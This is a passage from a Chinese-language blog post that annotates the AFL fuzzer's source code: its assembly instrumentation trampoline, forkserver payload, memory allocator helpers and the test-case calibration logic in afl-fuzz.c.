class="built_in">line</span>, <span class="string">".att_syntax"</span>)) skip_intel = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Detect and skip ad-hoc __asm__ blocks, likewise skipping them. */</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'#'</span> || <span class="built_in">line</span>[<span class="number">1</span>] == <span class="string">'#'</span>) </span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">"#APP"</span>)) skip_app = <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">"#NO_APP"</span>)) skip_app = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//上面这三个写的比较清楚就不解释辽</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//....(一些代码)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment">   Conditional branch instruction (jnz, etc). We append the instrumentation</span></span><br><span class="line"><span class="comment">   right after the branch (to instrument the not-taken path) and at the</span></span><br><span class="line"><span class="comment">   branch destination label (handled later on). </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'\t'</span>) <span class="comment">//这里有个比较重要的分支，当指令不是jmp而是一些条件跳转指令时，会在条件跳转指令之后进行插桩，还有对应的目标地址处（在后面处理）</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">1</span>] == <span class="string">'j'</span> &amp;&amp; <span class="built_in">line</span>[<span class="number">2</span>] != <span class="string">'m'</span> &amp;&amp; R(<span class="number">100</span>) &lt; inst_ratio) <span class="comment">//这个int_ratio暂时没管是干嘛的...</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">fprintf</span>(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));</span><br><span class="line">        ins_lines++;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*  </span></span><br><span class="line"><span class="comment">Label of some sort. This may be a branch destination, but we need to</span></span><br><span class="line"><span class="comment">tread carefully and account for several different formatting</span></span><br><span class="line"><span class="comment">conventions. 这里就是在打上了Label的地方进行插桩，可能是跳转指令的目的地址</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">    <span class="comment">/* Everybody else: .L&lt;whatever&gt;: */</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">":"</span>))</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'.'</span>)<span class="comment">//判断到是一个Label</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="comment">/* .L0: or LBB0_0: style jump destination 跳转Label*/</span></span><br><span class="line">        <span class="keyword">if</span> ((<span class="built_in">isdigit</span>(<span class="built_in">line</span>[<span class="number">2</span>]) || (clang_mode &amp;&amp; !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">1</span>, <span class="string">"LBB"</span>, <span class="number">3</span>))) &amp;&amp; R(<span class="number">100</span>) &lt; inst_ratio) </span><br><span class="line">        &#123;</span><br><span class="line">          <span class="comment">/* An optimization is possible here by adding the code only if the</span></span><br><span class="line"><span class="comment">             label is mentioned in the code in contexts other than call / jmp.</span></span><br><span class="line"><span class="comment">             That said, this complicates the code by requiring two-pass</span></span><br><span class="line"><span class="comment">             processing (messy with stdin), and results in a speed gain</span></span><br><span class="line"><span class="comment">             typically under 10%, because compilers are generally pretty good</span></span><br><span class="line"><span class="comment">             about not generating spurious intra-function jumps.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">             We use deferred output chiefly to avoid disrupting</span></span><br><span class="line"><span class="comment">             .Lfunc_begin0-style exception handling calculations (a problem on</span></span><br><span class="line"><span class="comment">             MacOS X). */</span></span><br><span class="line">          <span class="keyword">if</span> (!skip_next_label) instrument_next = <span class="number">1</span>; <span class="keyword">else</span> skip_next_label = <span class="number">0</span>;<span class="comment">//这里跟前面的那个标志也有关系</span></span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> </span><br><span class="line">      &#123;</span><br><span class="line">        <span class="comment">/* Function label (always instrumented, deferred mode). 函数Label*/</span></span><br><span class="line">        instrument_next = <span class="number">1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//到这里大循环的插桩就结束了，之后还有补充的小块代码就不写了，主要就是这些：只在代码段插桩、在有函数Label（函数入口）和跳转Label处插桩，在条件条状指令之后插桩</span></span><br></pre></td></tr></table></figure>

<p>afl-as.h中就是具体的插桩代码，以32位为例来分析</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> u8* trampoline_fmt_32 =</span><br><span class="line">  <span class="string">"\n"</span></span><br><span class="line">  <span class="string">"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"</span></span><br><span class="line">  <span class="string">"\n"</span></span><br><span class="line">  <span class="string">".align 4\n"</span></span><br><span class="line">  <span class="string">"\n"</span></span><br><span class="line">  <span class="string">"leal -16(%%esp), %%esp\n"</span></span><br><span class="line">  <span class="string">"movl %%edi,  0(%%esp)\n"</span></span><br><span class="line">  <span class="string">"movl %%edx,  4(%%esp)\n"</span></span><br><span class="line">  <span class="string">"movl %%ecx,  8(%%esp)\n"</span></span><br><span class="line">  <span class="string">"movl %%eax, 12(%%esp)\n"</span></span><br><span class="line">  <span class="string">"movl $0x%08x, %%ecx\n"</span> <span class="comment">//这里%08x就是前面fprintf中R(MAP_SIZE)的写入点，用作随机数标识</span></span><br><span class="line">  <span class="string">"call __afl_maybe_log\n"</span></span><br><span class="line">  <span class="string">"movl 12(%%esp), %%eax\n"</span></span><br><span class="line">  <span class="string">"movl  8(%%esp), %%ecx\n"</span></span><br><span class="line">  <span class="string">"movl  4(%%esp), %%edx\n"</span></span><br><span class="line">  <span class="string">"movl  0(%%esp), %%edi\n"</span></span><br><span class="line">  <span class="string">"leal 16(%%esp), %%esp\n"</span></span><br><span class="line">  <span class="string">"\n"</span></span><br><span class="line">  <span class="string">"/* --- END --- */\n"</span></span><br><span class="line">  <span class="string">"\n"</span>;</span><br></pre></td></tr></table></figure>

<p>payload根据实际效果删了一些宏定义啥的，看起来好看一点，emmm其实建议直接IDA反汇编看更好?….不过这里汇编有作者的注释帮着看，IDA反汇编图我在代码后面贴上了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">main_payload_32 = </span><br><span class="line">  <span class="string">"/* --- AFL MAIN PAYLOAD (32-BIT) --- */\n"</span></span><br><span class="line">  <span class="string">".text\n"</span></span><br><span class="line">  <span class="string">".att_syntax\n"</span></span><br><span class="line">  <span class="string">".code32\n"</span></span><br><span class="line">  <span class="string">".align 8\n"</span></span><br><span class="line"></span><br><span class="line">  <span class="string">"__afl_maybe_log:\n"</span></span><br><span class="line">  <span class="string">"  lahf\n"</span> <span class="comment">//将EFLAGS 寄存器标志位加载到AH</span></span><br><span class="line">  <span class="string">"  seto %al\n"</span> <span class="comment">//为溢出置位</span></span><br><span class="line">    </span><br><span class="line">  <span class="string">"  /* Check if SHM region is already mapped. */\n"</span></span><br><span class="line">  <span class="string">"  movl  __afl_area_ptr, %edx\n"</span></span><br><span class="line">  <span class="string">"  testl %edx, %edx\n"</span></span><br><span class="line">  <span class="string">"  je    __afl_setup\n"</span> <span class="comment">//检查共享内存指针是否到位</span></span><br><span class="line"></span><br><span class="line">  <span class="string">"__afl_store:\n"</span></span><br><span class="line">  <span class="string">"  /* Calculate and store hit for the code location specified in ecx. There\n"</span></span><br><span class="line">  <span class="string">"     is a double-XOR way of doing this without tainting another register,\n"</span></span><br><span class="line">  <span class="string">"     and we use it on 64-bit systems; but it's slower for 32-bit ones. */\n"</span></span><br><span class="line">  <span class="string">"  movl __afl_prev_loc, %edi\n"</span></span><br><span class="line">  <span class="string">"  xorl %ecx, %edi\n"</span></span><br><span class="line">  <span class="string">"  shrl $1, %ecx\n"</span></span><br><span class="line">  <span class="string">"  movl %ecx, __afl_prev_loc\n"</span></span><br><span class="line">  <span class="string">"  incb (%edx, %edi, 1)\n"</span> <span class="comment">//根据随机数存储执行位置，算法在后文分析</span></span><br><span class="line">    The shared_mem[] <span class="built_in">array</span> is a <span class="number">64</span> kB SHM region passed to the instrumented binary</span><br><span class="line">by the caller. Every <span class="keyword">byte</span> <span class="built_in">set</span> in the output <span class="built_in">map</span> can be thought of as a hit <span class="keyword">for</span></span><br><span class="line">a particular (branch_src, branch_dst) tuple in the instrumented code.</span><br><span class="line">    </span><br><span class="line">  <span class="string">"__afl_return:\n"</span></span><br><span class="line">  <span class="string">"  addb $127, %al\n"</span></span><br><span class="line">  <span class="string">"  sahf\n"</span></span><br><span class="line">  <span class="string">"  ret\n"</span></span><br><span class="line"></span><br><span class="line">  <span class="string">".align 8\n"</span></span><br><span class="line"></span><br><span class="line">  <span class="string">"__afl_setup:\n"</span><span class="comment">//setup只会在最开始调用afl_maybe_log处触发，即main函数的最前面触发，主要是开启一个目标文件自己的fork循环用来记录执行路径(这个程序自己的fork循环就是forkserver)</span></span><br><span class="line">  <span class="string">"  /* Do not retry setup if we had previous failures. */\n"</span></span><br><span class="line">  <span class="string">"  cmpb $0, __afl_setup_failure\n"</span></span><br><span class="line">  <span class="string">"  jne  __afl_return\n"</span></span><br><span class="line">  <span class="string">"  /* Map SHM, jumping to __afl_setup_abort if something goes wrong.\n"</span></span><br><span class="line">  <span class="string">"     We do not save FPU/MMX/SSE registers here, but hopefully, nobody\n"</span></span><br><span class="line">  <span class="string">"     will notice this early in the game. */\n"</span></span><br><span class="line">  <span class="string">"  pushl %eax\n"</span></span><br><span class="line">  <span class="string">"  pushl %ecx\n"</span></span><br><span class="line">  <span class="string">"  pushl $.AFL_SHM_ENV\n"</span></span><br><span class="line">  <span class="string">"  call  getenv\n"</span></span><br><span class="line">  <span class="string">"  addl  $4, %esp\n"</span></span><br><span class="line">  <span class="string">"  testl %eax, %eax\n"</span></span><br><span class="line">  <span class="string">"  je    __afl_setup_abort\n"</span></span><br><span class="line">  <span class="string">"  pushl %eax\n"</span></span><br><span class="line">  <span class="string">"  call  atoi\n"</span></span><br><span class="line">  <span class="string">"  addl  $4, %esp\n"</span></span><br><span class="line">  <span class="string">"  pushl $0          /* shmat flags    */\n"</span></span><br><span class="line">  <span class="string">"  pushl $0          /* requested addr */\n"</span></span><br><span class="line">  <span class="string">"  pushl %eax        /* SHM ID         */\n"</span></span><br><span class="line">  <span class="string">"  call  shmat\n"</span></span><br><span class="line">  <span class="string">"  addl  $12, %esp\n"</span></span><br><span class="line">  <span class="string">"  cmpl $-1, %eax\n"</span></span><br><span class="line">  <span class="string">"  je   __afl_setup_abort\n"</span></span><br><span class="line">  <span class="string">"  /* Store the address of the SHM region. */\n"</span></span><br><span class="line">  <span class="string">"  movl %eax, __afl_area_ptr\n"</span></span><br><span class="line">  <span class="string">"  movl %eax, %edx\n"</span></span><br><span class="line">  <span class="string">"  popl %ecx\n"</span></span><br><span class="line">  <span class="string">"  popl %eax\n"</span></span><br><span class="line"></span><br><span class="line">  <span class="string">"__afl_forkserver:\n"</span></span><br><span class="line">  <span class="string">"  /* Enter the fork server mode to avoid the overhead of execve() calls. */\n"</span></span><br><span class="line">  <span class="string">"  pushl %eax\n"</span></span><br><span class="line">  <span class="string">"  pushl %ecx\n"</span></span><br><span class="line">  <span class="string">"  pushl %edx\n"</span></span><br><span class="line">  <span class="string">"  /* Phone home and tell the parent that we're OK. (Note that signals with\n"</span></span><br><span class="line">  <span class="string">"     no SA_RESTART will mess it up). If this fails, assume that the fd is\n"</span></span><br><span class="line">  <span class="string">"     closed because we were execve()d from an instrumented binary, or because\n"</span> </span><br><span class="line">  <span class="string">"     the parent doesn't want to use the fork server. */\n"</span></span><br><span class="line">  <span class="string">"  pushl $4          /* length    */\n"</span></span><br><span class="line">  <span class="string">"  pushl $__afl_temp /* data      */\n"</span></span><br><span class="line">  <span class="string">"  pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">"  /* file desc */\n"</span><span class="comment">//fork server向fuzzer传递执行状态码，199描述符(后面会说是什么)</span></span><br><span class="line">  <span class="string">"  call  write\n"</span></span><br><span class="line">  <span class="string">"  addl  $12, %esp\n"</span></span><br><span class="line">  <span class="string">"  cmpl  $4, %eax\n"</span></span><br><span class="line">  <span class="string">"  jne   __afl_fork_resume\n"</span></span><br><span class="line"></span><br><span class="line">  <span class="string">"__afl_fork_wait_loop:\n"</span></span><br><span class="line">  <span class="string">"  /* Wait for parent by reading from the pipe. Abort if read fails. */\n"</span></span><br><span class="line">  <span class="string">"  pushl $4          /* length    */\n"</span></span><br><span class="line">  <span class="string">"  pushl $__afl_temp /* data      */\n"</span></span><br><span class="line">  <span class="string">"  pushl $"</span> STRINGIFY(FORKSRV_FD) <span class="string">"        /* file desc */\n"</span><span class="comment">//等待fuzzer传递命令，198描述符</span></span><br><span class="line">  <span class="string">"  call  read\n"</span></span><br><span class="line">  <span class="string">"  addl  $12, %esp\n"</span></span><br><span class="line">  <span class="string">"  cmpl  $4, %eax\n"</span></span><br><span class="line">  <span class="string">"  jne   __afl_die\n"</span></span><br><span class="line">  <span class="string">"  /* Once woken up, create a clone of our process. This is an excellent use"</span></span><br><span class="line">  <span class="string">"     case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly"</span></span><br><span class="line">  <span class="string">"     caches getpid() results and offers no way to update the value, breaking"</span></span><br><span class="line">  <span class="string">"     abort(), raise(), and a bunch of other things :-( */\n"</span></span><br><span class="line">  <span class="string">"  call fork\n"</span></span><br><span class="line">  <span class="string">"  cmpl $0, %eax\n"</span></span><br><span class="line">  <span class="string">"  jl   __afl_die\n"</span></span><br><span class="line">  <span class="string">"  je   __afl_fork_resume\n"</span></span><br><span class="line">  <span class="string">"  /* In parent process: write PID to pipe, then wait for child. */\n"</span></span><br><span class="line">  <span class="string">"  movl  %eax, __afl_fork_pid\n"</span></span><br><span class="line">  <span class="string">"  pushl $4              /* length    */\n"</span></span><br><span class="line">  <span class="string">"  pushl $__afl_fork_pid /* data      */\n"</span></span><br><span class="line">  <span class="string">"  pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">"      /* file desc */\n"</span><span class="comment">//199描述符</span></span><br><span class="line">  <span class="string">"  call  write\n"</span></span><br><span class="line">  <span class="string">"  addl  $12, %esp\n"</span></span><br><span class="line">  <span class="string">"  pushl $0             /* no flags  */\n"</span></span><br><span class="line">  <span class="string">"  pushl $__afl_temp    /* status    */\n"</span></span><br><span class="line">  <span class="string">"  pushl __afl_fork_pid /* PID       */\n"</span></span><br><span class="line">  <span class="string">"  call  waitpid\n"</span></span><br><span class="line">  <span class="string">"  addl  $12, %esp\n"</span></span><br><span class="line">  <span class="string">"  cmpl  $0, %eax\n"</span></span><br><span class="line">  <span class="string">"  jle   __afl_die\n"</span></span><br><span class="line">  <span class="string">"  /* Relay wait status to pipe, then loop back. */\n"</span> <span class="comment">//wait statu指最开始那个进程等待到的 子进程返回来的 状态</span></span><br><span class="line">  <span class="string">"  pushl $4          /* length    */\n"</span></span><br><span class="line">  <span class="string">"  pushl $__afl_temp /* data      */\n"</span></span><br><span class="line">  <span class="string">"  pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">"  /* file desc */\n"</span></span><br><span class="line">  <span class="string">"  call  write\n"</span></span><br><span class="line">  <span class="string">"  addl  $12, %esp\n"</span></span><br><span class="line">  <span class="string">"  jmp __afl_fork_wait_loop\n"</span></span><br><span class="line">    </span><br><span class="line">  <span class="string">"__afl_fork_resume:\n"</span><span class="comment">//这里是每次forkserver fork出来的子进程都要执行的</span></span><br><span class="line">  <span class="string">"  /* In child process: close fds, resume execution. */\n"</span></span><br><span class="line">  <span class="string">"  pushl $"</span> STRINGIFY(FORKSRV_FD) <span class="string">"\n"</span></span><br><span class="line">  <span class="string">"  call  close\n"</span></span><br><span class="line">  <span class="string">"  pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">"\n"</span></span><br><span class="line">  <span class="string">"  call  close\n"</span></span><br><span class="line">  <span class="string">"  addl  $8, %esp\n"</span></span><br><span class="line">  <span class="string">"  popl %edx\n"</span></span><br><span class="line">  <span class="string">"  popl %ecx\n"</span></span><br><span class="line">  <span class="string">"  popl %eax\n"</span></span><br><span class="line">  <span class="string">"  jmp  __afl_store\n"</span><span class="comment">//跳到前面的__afl_store</span></span><br><span class="line"></span><br><span class="line">  <span class="string">"__afl_die:\n"</span></span><br><span class="line">  <span class="string">"  xorl %eax, %eax\n"</span></span><br><span class="line">  <span class="string">"  call _exit\n"</span></span><br><span class="line">    </span><br><span class="line">  <span class="string">"__afl_setup_abort:\n"</span></span><br><span class="line">  <span class="string">"  /* Record setup failure so that we don't keep calling\n"</span></span><br><span class="line">  <span class="string">"     shmget() / shmat() over and over again. */\n"</span></span><br><span class="line">  <span class="string">"  incb __afl_setup_failure\n"</span></span><br><span class="line">  <span class="string">"  popl %ecx\n"</span></span><br><span class="line">  <span class="string">"  popl %eax\n"</span></span><br><span class="line">  <span class="string">"  jmp __afl_return\n"</span></span><br><span class="line">    </span><br><span class="line">  <span class="string">".AFL_VARS:\n"</span></span><br><span class="line">  <span class="string">"  .comm   __afl_area_ptr, 4, 32\n"</span></span><br><span class="line">  <span class="string">"  .comm   __afl_setup_failure, 1, 32\n"</span></span><br><span class="line">  <span class="string">"  .comm   __afl_prev_loc, 4, 32\n"</span></span><br><span class="line">  <span class="string">"  .comm   __afl_fork_pid, 4, 32\n"</span></span><br><span class="line">  <span class="string">"  .comm   __afl_temp, 4, 32\n"</span></span><br><span class="line">  <span class="string">"\n"</span></span><br><span class="line">  <span class="string">".AFL_SHM_ENV:\n"</span></span><br><span class="line">  <span class="string">"  .asciz \""</span> SHM_ENV_VAR <span class="string">"\"\n"</span></span><br><span class="line">  <span class="string">"\n"</span></span><br><span class="line">  <span class="string">"/* --- END --- */\n"</span></span><br></pre></td></tr></table></figure>

<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210203133736042.png" alt="image-20210203133736042" style="zoom:80%;">

<h2 id="alloc-inl-c"><a href="#alloc-inl-c" class="headerlink" title="alloc-inl.c"></a>alloc-inl.c</h2><p>后面的代码中很多与内存相关的操作都是alloc-inl里面的，不缕一下的话不知所云…所以这里记录一下经常在afl-fuzz.c中看到的几个内存操作函数</p>
<p>作者原话：This allocator is not designed to resist malicious attackers (the canaries are small and predictable), but provides a robust and portable way to detect use-after-free, off-by-one writes, stale pointers, and so on.</p>
<p>里面的宏定义有一些类似：<code>__LINE__</code>，<code>__FUNCTION__</code>的，这是C编译器的内置宏，具体代表什么意思百度一下即可</p>
<ul>
<li><code>ALLOC_CHECK_SIZE(size)</code> malloc前检查size是否超过设置的最大chunk大小</li>
<li><code>ret = malloc(size + ALLOC_OFF_TOTAL);</code>经常出现的malloc方式，这里是<code>+ ALLOC_OFF_TOTAL</code>为了在chunk前8字节处存放一个4B的头部标志和size，还有一个1B的尾部标志</li>
<li><code>ALLOC_CHECK_RESULT(ret,size)</code> malloc后检查是否分配成功，若ret为NULL，这个size就会用于打印错误信息</li>
<li><code>TRK_ck_strdup</code>，(<strong>TRK</strong>开头 + ck + 一般函数名)的函数，主要进行如下两个操作<ul>
<li><code>void* ret = DFL_ck_strdup(str);</code>，(<strong>DFL</strong>开头)的函数就是正常的操作，比如这个<code>DFL_ck_strdup</code>就是用作者自己的一些逻辑+上面提到的三个主要步骤实现</li>
<li><code>TRK_alloc_buf(void* ret, const char* file, const char* func, u32 line)</code> ，将哪个文件、哪个函数、哪一行申请内存的信息用 哈希散列+链地址法 的方法存在了一个散列表中，主要为了后续的检查。带alloc的函数用来存放，带free的就是用来判断有没有错误之类的</li>
</ul>
</li>
<li></li>
</ul>
<h2 id="afl-fuzz-c"><a href="#afl-fuzz-c" class="headerlink" title="afl-fuzz.c"></a>afl-fuzz.c</h2><p>看完了插桩接下来就是看具体的fuzz逻辑了，这里大概有8000多行代码，慢慢缕吧</p>
<p>main函数前面的主逻辑就是一个处理输入参数的逻辑，里面还处理了一个non official参数 <code>-B</code>…这里是作者的注释，作用是指定bitmap，会影响<code>in_bitmap</code>这个全局变量</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* This is a secret undocumented option! It is useful if you find</span></span><br><span class="line"><span class="comment">an interesting test case during a normal fuzzing process, and want</span></span><br><span class="line"><span class="comment">to mutate it without rediscovering any of the test cases already</span></span><br><span class="line"><span class="comment">found during an earlier run.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">To use this mode, you need to point -B to the fuzz_bitmap produced</span></span><br><span class="line"><span class="comment">by an earlier run for the exact same binary... and that's it.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">I only used this once or twice to get variants of a particular</span></span><br><span class="line"><span class="comment">file, so I'm not making this an official setting. */</span></span><br></pre></td></tr></table></figure>

<p>处理完参数之后，首先 <code>setup_signal_handlers();check_asan_opts();</code>，设置一系列程序运行时的信号处理，比如超时如何处理，检查asan参数，然后还有一系列的设置和检查，具体还是看代码的7910行左右吧(2.52版本)</p>
<p>处理完参数之后就是一些操作</p>
<h3 id="main-part1"><a href="#main-part1" class="headerlink" title="main (part1)"></a>main (part1)</h3><p>因为函数属实有点多所以只记录了一些印象比较深的，建议想了解的话，每个函数点进去看看作者的注释说了什么，而且一些函数的作用在我前面开头提到的入门博客中有写，就不赘述了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">  save_cmdline(argc, argv);<span class="comment">//保存当前命令</span></span><br><span class="line">  fix_up_banner(argv[optind]);<span class="comment">//跟运行时的标志有关系，显示一个运行示例的名字之类的，可以用-T指定这个banner</span></span><br><span class="line">  check_if_tty();</span><br><span class="line">  get_core_count();</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> HAVE_AFFINITY</span></span><br><span class="line">  bind_to_free_cpu();</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span> <span class="comment">/* HAVE_AFFINITY */</span></span></span><br><span class="line">  check_crash_handling();</span><br><span class="line">  check_cpu_governor();</span><br><span class="line">  setup_post();</span><br><span class="line">  setup_shm();<span class="comment">//这一步为bitmap初始共享内存，供fuzzer分析、目标文件进行记录</span></span><br><span class="line"><span class="comment">//还初始化了virgin_bits(如果使用-B就不会)，virgin_tmout，virgin_crash，内容均为0xFF</span></span><br><span class="line">  </span><br><span class="line">  init_count_class16();<span class="comment">//这里是为bitmap中的执行次数分类做准备</span></span><br><span class="line">  setup_dirs_fds();</span><br><span class="line">  read_testcases();</span><br><span class="line">  load_auto();</span><br><span class="line">  pivot_inputs();</span><br><span class="line">  <span class="keyword">if</span> (extras_dir) load_extras(extras_dir);</span><br><span class="line">  <span class="keyword">if</span> (!timeout_given) find_timeout();</span><br><span class="line">  detect_file_args(argv + optind + <span class="number">1</span>);</span><br><span class="line">  <span class="keyword">if</span> (!out_file) setup_stdio_file();</span><br><span class="line">  check_binary(argv[optind]);</span><br><span class="line">  start_time = get_cur_time();</span><br><span class="line">  <span class="keyword">if</span> (qemu_mode)</span><br><span class="line">    use_argv = get_qemu_argv(argv[<span class="number">0</span>], argv + optind, argc - optind);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    use_argv = argv + optind;</span><br><span class="line"></span><br><span class="line">  perform_dry_run(use_argv);<span class="comment">//这个函数可以看看，主要是初始化forkserver后用我们提供的testcase进行初始测试，然后输出测试用例的一些结果信息</span></span><br><span class="line"><span class="comment">//里面子函数有很多关于fuzz细节相关的代码，建议研读</span></span><br></pre></td></tr></table></figure>

<h3 id="calibrate-case"><a href="#calibrate-case" class="headerlink" title="calibrate_case"></a>calibrate_case</h3><p><code>perform_dry_run</code>中主要就是这个函数用我们给的所有testcase对进行循环测试，<code>calibrate_case</code>第一次先调用<code>init_forkserver</code>将结构初始化（函数见下文），然后根据临时变量<code>stage</code>指定的次数，使用<code>run_target</code>进行循环测试(函数见下文)，而且每次执行完都进行了一次<code>update_bitmap_score</code>(这个函数用于找到更快或者规模更小的用例来达到相同的效果)，这里是循环体内的一部分代码</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">u32 cksum;<span class="comment">//这个变量在后面的hash会用到</span></span><br><span class="line">   <span class="keyword">if</span> (!first_run &amp;&amp; !(stage_cur % stats_update_freq)) show_stats();<span class="comment">//这个是输出界面</span></span><br><span class="line">write_to_testcase(use_mem, q-&gt;len);<span class="comment">//输入测试用例的数据到一个临时文件，当做被测试文件的输入</span></span><br><span class="line"></span><br><span class="line">   fault = run_target(argv, use_tmout);<span class="comment">//fault是目标测试返回的错误类型</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* stop_soon is set by the handler for Ctrl+C. When it's pressed,</span></span><br><span class="line"><span class="comment">          we want to bail out quickly. */</span></span><br><span class="line">   <span class="keyword">if</span> (stop_soon || fault != crash_mode) <span class="keyword">goto</span> abort_calibration;<span class="comment">//如果不是crash(只记录crash的crash模式)</span></span><br><span class="line"></span><br><span class="line">   cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);<span class="comment">//对执行的trace bitmap做一次hash</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (q-&gt;exec_cksum != cksum)<span class="comment">//如果hash值发生变化，检测变化</span></span><br><span class="line">   &#123;</span><br><span class="line">         u8 hnb = has_new_bits(virgin_bits);<span class="comment">//always 0，return 1 hit-count for a particular tuple，2 if new tuples(二元组是干什么的见官方文档吧，相当于执行路径，用bitmap记录的)</span></span><br><span class="line">         <span class="keyword">if</span> (hnb &gt; new_bits) new_bits = hnb;</span><br><span class="line">         <span class="keyword">if</span> (q-&gt;exec_cksum)<span class="comment">//如果已经run过</span></span><br><span class="line">         &#123;</span><br><span class="line">               u32 i;</span><br><span class="line">               <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; MAP_SIZE; i++) </span><br><span class="line">               &#123;</span><br><span class="line">                     <span class="keyword">if</span> (!var_bytes[i] &amp;&amp; first_trace[i] != trace_bits[i])<span class="comment">//用var_bytes记录执行变化了的位置</span></span><br><span class="line">                     &#123;</span><br><span class="line">                       var_bytes[i] = <span class="number">1</span>;</span><br><span class="line">                       stage_max = CAL_CYCLES_LONG;</span><br><span class="line">                     &#125;</span><br><span class="line">               &#125;</span><br><span class="line">               var_detected = <span class="number">1</span>;</span><br><span class="line">         &#125; </span><br><span class="line">         <span class="keyword">else</span> </span><br><span class="line">         &#123;</span><br><span class="line">               q-&gt;exec_cksum = cksum;</span><br><span class="line">               <span class="built_in">memcpy</span>(first_trace, trace_bits, MAP_SIZE);</span><br><span class="line">         &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure>

<p>循环体之后的代码，这里就针对<code>perform_dry_run</code>中单个测试用例的全部变化了，q就代表一个测试用例的结构体：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">  stop_us = get_cur_time_us();</span><br><span class="line">  total_cal_us     += stop_us - start_us;<span class="comment">//统计时间用</span></span><br><span class="line">  total_cal_cycles += stage_max;</span><br><span class="line">  <span class="comment">/* OK, let's collect some stats about the performance of this test case.</span></span><br><span class="line"><span class="comment">     This is used for fuzzing air time calculations in calculate_score(). */</span></span><br><span class="line">  q-&gt;exec_us     = (stop_us - start_us) / stage_max;<span class="comment">//每次执行的平均时间</span></span><br><span class="line">  q-&gt;bitmap_size = count_bytes(trace_bits);<span class="comment">//记录路径二元组的组数</span></span><br><span class="line">  q-&gt;handicap    = handicap;</span><br><span class="line">  q-&gt;cal_failed  = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  total_bitmap_size += q-&gt;bitmap_size;</span><br><span class="line">  total_bitmap_entries++;</span><br><span class="line"></span><br><span class="line">  update_bitmap_score(q);<span class="comment">//更新top_rated结构体</span></span><br><span class="line">	<span class="comment">//里面有一个minimize_bits函数，意思是设置一个只有0,1表示的是否有路径的minibitmap，相当于舍弃了原始bitmap的计数，只用一字节中的一位来表示</span></span><br><span class="line">  <span class="comment">/* If this case didn't result in new output from the instrumentation, tell</span></span><br><span class="line"><span class="comment">     parent. This is a non-critical problem, but something to warn the user</span></span><br><span class="line"><span class="comment">     about. */</span></span><br><span class="line">  <span class="keyword">if</span> (!dumb_mode &amp;&amp; first_run &amp;&amp; !fault &amp;&amp; !new_bits) fault = FAULT_NOBITS;</span><br><span class="line"></span><br><span class="line">abort_calibration:</span><br><span class="line">  <span class="keyword">if</span> (new_bits == <span class="number">2</span> &amp;&amp; !q-&gt;has_new_cov) </span><br><span class="line">  &#123;</span><br><span class="line">        q-&gt;has_new_cov = <span class="number">1</span>;<span class="comment">//循环执行过程中路径发生过变化</span></span><br><span class="line">        queued_with_cov++;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/* Mark variable paths. 在循环中如有某次的trace变化了，对该测试用例进行记录*/</span></span><br><span class="line">  <span class="keyword">if</span> (var_detected) </span><br><span class="line">  &#123;</span><br><span class="line">    	var_byte_count = count_bytes(var_bytes);</span><br><span class="line">    	<span class="keyword">if</span> (!q-&gt;var_behavior) </span><br><span class="line">        